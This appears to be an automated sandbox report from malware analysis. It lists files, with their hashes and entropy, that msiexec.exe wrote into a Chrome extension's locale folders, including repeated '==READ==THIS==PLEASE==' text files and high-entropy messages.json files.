C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\fil\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.68429677662963
Encrypted:	false
MD5:	03759D18CED41D60E6B7B7E44CE04863
SHA1:	8D175D52DEE26782DF4846F6387F22610E3F24D3
SHA-256:	519E81CA2E5D1055C16B1D5B4D47E70FDCF8199FC332A31945F7831A5F2D06AF
SHA-512:	59EEE9E449A1DBE22B5A20BEAE62B8EC34CB879F4EDCB229F11A72F1671B8201FC0B591B0F1A99B67BE7D7C21F377EB4A66286462632CFF3CF7D52DF70BA869F
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\fr\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\fr\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.683396739222082
Encrypted:	false
MD5:	83F2FFFAEC29601F9FD591D8404EB7D2
SHA1:	D5E811C8D4A894ACA397011CB034DA47FFDF3F75
SHA-256:	A6793A6F69C172328CCCDB63A95B9B25D77D2A98C01EDE009F6056DF28987C54
SHA-512:	CC94B8F2F36D77C0661DF2603CE9B263E8A0C02A7ACBC73DD263EF5D4ADA9B7AE59B85FDA6230FF1C476EBFF65B0356B5D6E7CD5C92B120F2074D1C7339E9EB2
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\he\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\he\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.649050208138837
Encrypted:	false
MD5:	B603DC5AFDA6380EA99F55A060058A4C
SHA1:	C08ADA95044B87FD1C0F12873F513B17F3D1C0C6
SHA-256:	0E739D046FB8C9FA1CA8AD5833A1269F4D62B840D219BA62E3BA5D48B34639AF
SHA-512:	3E2B1A132A53593029CC57B53AF7C09F4058973DD81D5F9B68980E2D9FB704E25B3384EFEF486C108C9B1E299D0CF10A1C4ABD00DE91BC194A122BBB4EFC1E1E
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\hi\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\hi\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.719721344968522
Encrypted:	false
MD5:	8026F4BE60C742A14AA25585BA48B7FB
SHA1:	554A76404336B3C57EDF6EEE9F2A1D6EA2869817
SHA-256:	B7817C75FACCA0D12015D84C8F3523A633E148BF518584BA25DE64E163998B96
SHA-512:	8A9CC1D3F4AF376394DC172B959DE65E4341C63DB531739E8C21D3D734A52CC50690F571C467006C85C85E6E773A5D0F63A72533FAA010020B3C92A3249944AC
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\hr\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\hr\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.628416904978408
Encrypted:	false
MD5:	A3D3986DF6CD9B6C8F82D5C5DC92FB1F
SHA1:	EAAD286A4F63A8DF1DE9ABDE509DF250FF65AADB
SHA-256:	1A0D02019D862596E4AAEA94202394B7BC6B4BA020ED3D15542DB4D809B081BE
SHA-512:	2479A5C1D5E65A97678F70EF5478D4EFAB5DC30D8F4635BAFD1F95CD74D765A8018AB26DACC37D8C23051D5B93EE03348DB2427B9883752183FD3002504BF05D
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\hu\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\hu\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6774789627762186
Encrypted:	false
MD5:	27E7153F8C4ABA0D19A89813C1DEA4DF
SHA1:	795671E01C678D33B0018AF34A6916390AA259E8
SHA-256:	B53DD0AEBB7FA6FC7069D2894645728015BA15261A4B1599097D974729975FB7
SHA-512:	D9F9827809344D33FF8BEA9F33A5ECDB867501E8FFC173CBD38E43E12188C52E0BD0BB72BD0E2A96C04D9F427119237703A6DF1BADF21AF89F22B7D6D9A72EE2
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\id\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\id\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.703975296926955
Encrypted:	false
MD5:	CCECD35B8590E7CFBD0DC85F0F84387A
SHA1:	8D5C97B14A1DAA36A369A039768FA4A970698107
SHA-256:	944E92A95BD4B6571C0958D09D13B5357766A3B8E388E04F0FEB2C7D76A4ECF9
SHA-512:	B4AB7DD5C6F6D0BC04ABB0C989FB9DFDC3616E318DBAEBEE27FDDA838EACC28E1CA3C4AACA9667E73C1EC853D9C01D85F09B6CDDB5BEAA7DC9603A0D5F508411
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\it\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\it\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.713735653448542
Encrypted:	false
MD5:	1760C867F5F15B6219B9E0C34369D1D5
SHA1:	C9347FD6A8323C19F863A95B0C30AF9AE439E11F
SHA-256:	38616DA52413F4FC429D6B746918E082D8FC5351F7F04551D4295BC703CAA125
SHA-512:	6974FE61892594C566C957161520BE45A9D3D5BFF08EDA8A72A2D2027977EF5314E7113FDDE1D7EBE89CFFA05B930F19D1A947F70C8543AFC3FD3557018533B5
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\ja\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\ja\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.69014413062655
Encrypted:	false
MD5:	9239A6407874BB8AFB07D92AE6E68A41
SHA1:	A5B5F95516BF2836053BD557A4C6E6AF189048C2
SHA-256:	853D15FFE63D30C4AD7D0BEFDC9D9EC8EE58D93EE599E1045E18BBF84ABB7F09
SHA-512:	2CEDCB2D5ADC7AB0FE9D06D53827A1B1EC443527F04B41E76F2120D2D815193CD4B0966122F51ACDCD8D378C6AAE3E244B4E411ACD8C70E7C8B29FB8073EF31A
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\ko\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\ko\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.667362081929076
Encrypted:	false
MD5:	816B04D501F167AB082A1DEA8F841D61
SHA1:	A713FE79731B891D3A11EC4E3AB3C2A89E58218F
SHA-256:	F1F0927AAB8E5760591CCF4EA978F55C57877D65E90FFC58D1929BA294BC2FB7
SHA-512:	FB01FD14043C9D372932E191A55C8440A58ADB93D1B6ED28C232D97891FA8C26E32277B9D8C01A78BF69B370057C76B5F5AFF047B16C123760283ED2E4FB3DA4
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\lt\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\lt\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.642680552698772
Encrypted:	false
MD5:	207AB2EAB53BB85FB2DBDF37D93BAAF0
SHA1:	CED91DF1CB91F146FC0A3D5B5CCA40B406A30A41
SHA-256:	13B14E5200721F20BD67E18F337F11BD2BF0404E218EEB2C0664172530D79401
SHA-512:	75BC5548D8886ED8DA4B1997A4243ACC31EED14191C1D2A39D887F767EB85CC141CF201A2F1D31088B46621B758F7424F4ED8A9104AE45FDCCEB063CDA048EA1
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\lv\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\lv\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.675660519248591
Encrypted:	false
MD5:	978AB8F561A8F148790B7A82A85BFED4
SHA1:	FA9A53958D6834D31539C7F1416C5672AD1B621A
SHA-256:	B3D3606F2DB146ABFBEEEEBACBD2D30E295BC3C10AB62BBB1622C4842DF7D773
SHA-512:	02F8597FC9327BEE59857875DB4043393837B529570239547D250688AEDC69800F7F295B26C9C2AD168B192983CB81107D00CB015E6912FE653307D124B0D99B
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\nl\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\nl\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.644910842396704
Encrypted:	false
MD5:	CB644C4CE98710A8E67DBE6EBA5DF2BC
SHA1:	BB656A6D12D5590F3A14B2CCE05D247894A7CCB2
SHA-256:	48F0BB7D03A9CA74CDA6EA4135808039D16CCC9C8EC27934920A8469CE9C2930
SHA-512:	AA71465CABFB4D3B3C3579A7D8EA1A8846FB1FA516F0B8BAB7B28F89FF6387F9D1F0E3D567E69BE9E0D3A104F7CF2EFA60ED27E751BD6BA21479657EF840C00E
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\no\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\no\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.690775858480798
Encrypted:	false
MD5:	01C47AD25CE7ACD786462C15552E71BE
SHA1:	DBAC4321DF31A545CEABA7F937968DBFA59FB9CD
SHA-256:	84E431518DBE195AB2F4EA19D844C67EFE9A2985644EF72CD824705ED01CE739
SHA-512:	53F194872FF3365957E12BD8557B28C8D089BBB0A99CFB53706ABB56EB8A7430AED34DFA47EA6B11ED5CE96BFD758E2231A03FC0CE27825E062E1864B0D00C78
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\pl\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\pl\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.687779735875631
Encrypted:	false
MD5:	322471DAEC6DBB638D1668F3A8B3474D
SHA1:	A74A47DC5BE8FC519112779D48C06E9200A07701
SHA-256:	F0391D05D9C3BDF2A39C457424940632D745527F52EB08E704867B92895CC3FA
SHA-512:	4FEB5DEC685F5591FE8CEFCC4CBEF3F4AB5C3FCA492F35FDD8A6A896869C73E146B76DAD3FB26CED38AACB5FAC210A914B0DBBF0F6A19452818CD13987B8DDEF
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\pt_BR\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\pt_BR\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.70463280444164
Encrypted:	false
MD5:	9353026B5AEF696DCCB8697FDC7128AD
SHA1:	83D1C4178BB6ECC9B9135F2D385B29F8CC2A1E5D
SHA-256:	A9E56EDC4F109D49A0F01AFE36C5A39E69D5A48630755854C71543E3E5885733
SHA-512:	EE7F8E60CF08550472C7558A9A403DD8A5140F12FDD6F4BF83BA11F887EA54E6AD585913A44CA6462B024736DDB76D6F733837DFAFC4A908EF4586650698904B
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\pt_PT\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\pt_PT\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6820172935952735
Encrypted:	false
MD5:	E3E79CDD82C093A6F923367EF27BAC92
SHA1:	8ACB1B93EA8520C4360C23FA0F2E735CD425D50F
SHA-256:	9143D6B337D2E92359A0D1F27C0FF8B6B8E2476C6F18894272FDA450FF638E61
SHA-512:	64B17D5E4D314819D2EC64069FAB514C26A83B299FD9747F090870D56E8CF5AF8DB94B3F15FDA7417EFE0B1FF9D110E36FC4074B9E374A15F1FF0D2A467C3320
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\ro\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\ro\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.710133672280071
Encrypted:	false
MD5:	62D5677E7F9063902BE1B2EC2DE1312C
SHA1:	A6279E15EEC6D945C7C9E2AFD8C15373C962E63E
SHA-256:	14053A160301AB4B97425424750C1B1833DCF6D7DB4D27ED3CA27F8142DA0836
SHA-512:	7A50562380E2168EFD1AD8E97ED5596029EE93F3658170EA9E8537DEFA88BD9A71550DC5D0F5625161B353990E7CE4919F44CD220A255D4EBBDD089CB00B925B
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\ru\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\ru\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.675094252146809
Encrypted:	false
MD5:	79F4566282EAD7289E05D1E453357643
SHA1:	221358251B67367EA50BF2535BAD8301CD4A551A
SHA-256:	BBF5EF5CF8D20F7C28D49524E9F2CCC0494978DC6528B4D7EC760DEBAA70359D
SHA-512:	0CECAF877BD7D58F74913D24B9B53B34F1A1141392260232E4FC8DE9EDBE7376667E54B1867D886B249E2F4C06CB63A0972E438AD95DDBBFA9AA0F786020E578
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\sk\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\sk\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.641043747626432
Encrypted:	false
MD5:	70FE2E402F8F6E7BA1ED141F03C63C79
SHA1:	7430FA4F0433051DE25568D07EEA24DE82CC1F2A
SHA-256:	87BF5995643E8D680913C4165C94F4F7201125D5F5FB0FFF5C1FFBBA36E96FD3
SHA-512:	B00AB6C713D57434961F010F1DE172DB9297C7AEA8F5B941AA5F52F02753D67C7E5ADEC8C45404B436DD1F53C38C490AF4A7B6637C5009C2A70CE85C26D7839F
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\sl\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\sl\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.668757793678608
